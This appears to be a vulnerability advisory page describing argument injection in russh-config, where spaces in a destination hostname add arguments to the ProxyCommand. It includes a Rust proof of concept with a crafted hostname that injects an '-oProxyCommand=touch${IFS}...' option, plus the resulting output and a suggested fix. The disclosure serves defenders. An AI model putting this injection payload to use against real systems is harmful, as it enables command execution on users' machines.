
Cloud Vulnerability DB
A community-led vulnerabilities database
russh_config::Config::stream() expands %h (and %u) in the configured ProxyCommand with the destination
hostname passed to parse() / parse_path() / parse_home(), and only then splits the result on ' ' to build the
argv for the proxy process. The hostname is never validated. A hostname that contains spaces therefore adds arbitrary
arguments to the proxy program. With the common ProxyCommand ssh -W %h:%p bastion, an injected
-oProxyCommand=... argument makes the system ssh run an attacker-chosen shell command on the client machine.
russh-config/src/lib.rs at v0.65.1:
expand_tokens: string.replace("%h", self.host()), %H, %u (self.user()), %p, then %%.
self.host() (L164-169) is the HostName from ssh_config if set, otherwise the caller-supplied host_name.stream: let cmd: Vec<&str> = proxy_command.split(' ').collect(); then
Stream::proxy_command(cmd[0], &cmd[1..]) (proxy.rs L24-32, Command::new(cmd).args(args).spawn()).parse(file, host): host is stored verbatim as host_name and used for Host matching. Glob *
matches spaces, so Host *.corp.example still matches "x:1 -oProxyCommand=... y.corp.example".
OpenSSH 9.6 rejects such hostnames in ssh(1) (hostname contains invalid characters, CVE-2023-51385), and libssh
0.10.6 added the same check for its ProxyCommand expansion (CVE-2023-6004). russh-config has no equivalent check.
Because russh-config splits on spaces instead of running a shell, a space alone is enough to inject arguments.
Suggested fix
Before expansion, reject %h/%u values the way OpenSSH does (valid_hostname/valid_ruser): no whitespace, no
leading -, no control characters and no shell metacharacters ('" and backtick, $;&<>|()\). Better still,
tokenize the ProxyCommand template first (with quote handling) and substitute tokens inside each argument, so a
substituted value can never create a new argv entry. %% should also be handled in the same pass as the other
tokens, so that %%h yields a literal %h and substituted values are not expanded again.Self-contained reproducer: one src/main.rs using the public russh_config::parse() and Config::stream(). It
needs OpenSSH ssh on PATH (tested with OpenSSH 10.2p1); no network access is needed.
Cargo.toml:
[package]
name = "proxycommand-injection"
version = "0.1.0"
edition = "2021"
[dependencies]
russh-config = "=0.58.0"
tokio = { version = "1", features = ["rt", "macros", "time"] }src/main.rs:
//! russh-config 0.58.0: the destination hostname is substituted into ProxyCommand (%h) and the
//! result is split on ' ' into argv, so spaces in the hostname add arguments to the proxy program.
use std::time::Duration;
#[tokio::main(flavor = "current_thread")]
async fn main() {
let marker = "/tmp/russh-config-PWNED";
let _ = std::fs::remove_file(marker);
// An ordinary user ssh_config: hosts under corp.example go through a bastion.
let config = "Host *.corp.example\n ProxyCommand ssh -F /dev/null -W %h:%p bastion.invalid\n";
// Destination hostname from an untrusted source (repository URL, ssh:// link, inventory...).
let host = format!("x:1 -oProxyCommand=touch${{IFS}}{marker} y.corp.example");
let cfg = russh_config::parse(config, &host).expect("parse");
// Same transformation Config::stream() applies (expand_tokens + split(' ')), for display only:
let tmpl = cfg.host_config.proxy_command.clone().unwrap();
let argv: Vec<String> = tmpl.replace("%h", cfg.host()).replace("%p", &cfg.port().to_string())
.split(' ').map(String::from).collect();
println!("argv: {argv:?}");
// The public API call an application makes to get its transport:
let r = cfg.stream().await;
println!("Config::stream() -> {}", if r.is_ok() { "Ok (proxy spawned)" } else { "Err" });
tokio::time::sleep(Duration::from_secs(3)).await; // let ssh run the injected ProxyCommand
println!("{marker} exists: {}", std::path::Path::new(marker).exists());
}Run cargo run. Output on russh-config 0.58.0:
argv: ["ssh", "-F", "/dev/null", "-W", "x:1", "-oProxyCommand=touch${IFS}/tmp/russh-config-PWNED", "y.corp.example:22", "bastion.invalid"]
Config::stream() -> Ok (proxy spawned)
Connection closed by UNKNOWN port 65535
/tmp/russh-config-PWNED exists: trueThe config is the ordinary Host *.corp.example / ProxyCommand ssh -F /dev/null -W %h:%p bastion.invalid
stanza, and the hostname is x:1 -oProxyCommand=touch${IFS}/tmp/russh-config-PWNED y.corp.example. The spaces in
the hostname become argv separators, so the system ssh receives an extra -oProxyCommand=... option and runs the
injected command, which creates /tmp/russh-config-PWNED. Stock ssh with the same config and hostname refuses it
with hostname contains invalid characters.
Expected: Config::stream() (or parse()) rejects the hostname, or the substituted value stays a single argv
element, and no file is created.
Local command execution as the user who runs a russh-based client, when (a) the application passes a hostname that
an attacker can influence (a repository/submodule URL, an ssh:// link, a host inventory, a multi-tenant connection
target) to russh-config, (b) the user's ssh_config has a matching ProxyCommand that uses %h (or %u) and the
stanza sets no HostName, and (c) the proxy program accepts an option that executes commands (e.g. ssh -W,
ncat --sh-exec=). Even without (c), the attacker controls the proxy's arguments (e.g. -F, -i, -o options for
ssh). This does not involve the SSH peer.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."